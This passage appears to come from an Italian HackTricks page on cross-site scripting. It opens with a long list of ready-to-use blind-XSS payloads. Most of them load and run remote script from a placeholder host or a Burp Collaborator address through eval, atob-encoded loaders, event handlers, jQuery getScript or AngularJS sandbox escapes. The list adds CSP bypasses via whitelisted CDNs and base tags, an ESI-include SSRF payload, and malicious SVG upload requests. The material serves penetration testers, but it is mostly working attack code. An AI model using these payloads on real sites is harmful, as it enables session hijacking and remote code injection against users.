><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Accedere a contenuti nascosti

From this writeup it's possibile apprendere che anche se alcuni valori scompaiono dal JS, è comunque possibile trovarli negli attributi JS in oggetti diversi. Per esempio, un input di una REGEX è ancora possibile trovarlo dopo che il valore dell'input della regex è stato rimosso:

javascript
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

XSS che sfrutta altre vulnerabilità

XSS in Markdown

Puoi iniettare codice Markdown che verrà renderizzato? Forse puoi ottenere XSS! Controlla:

XSS in Markdown

XSS a SSRF

Hai trovato XSS su un sito che usa caching? Prova a trasformarlo in SSRF tramite Edge Side Include Injection con questo payload:

python
<esi:include src="http://yoursite.com/capture" />

Usalo per eludere le restrizioni sui cookie, i filtri XSS e molto altro!
Maggiori informazioni su questa tecnica qui: XSLT.

XSS in PDF creato dinamicamente

Se una pagina web crea un PDF usando input controllati dall'utente, puoi provare a ingannare il bot che crea il PDF per fargli eseguire codice JS arbitrario.
Quindi, se il PDF creator bot trova qualche tipo di tag HTML, li interpreta, e puoi abusare di questo comportamento per causare un Server XSS.

Server Side XSS (Dynamic PDF)

Se non puoi iniettare tag HTML potrebbe valere la pena provare a iniettare dati PDF:

PDF Injection

XSS in Amp4Email

AMP, progettato per accelerare le prestazioni delle pagine web su dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una gamma di componenti per varie funzionalità, accessibili tramite AMP components.

Il formato AMP for Email estende specifici componenti AMP alle email, permettendo ai destinatari di interagire con il contenuto direttamente all'interno delle loro email.

Esempio writeup XSS in Amp4Email in Gmail.

XSS caricamento file (svg)

Carica come immagine un file come il seguente (da http://ghostlulz.com/xss-svg/):

html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Trova più payloads SVG su https://github.com/allanlw/svg-cheatsheet

Trucchi JS vari e informazioni rilevanti

Misc JS Tricks & Relevant Info

Risorse XSS

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks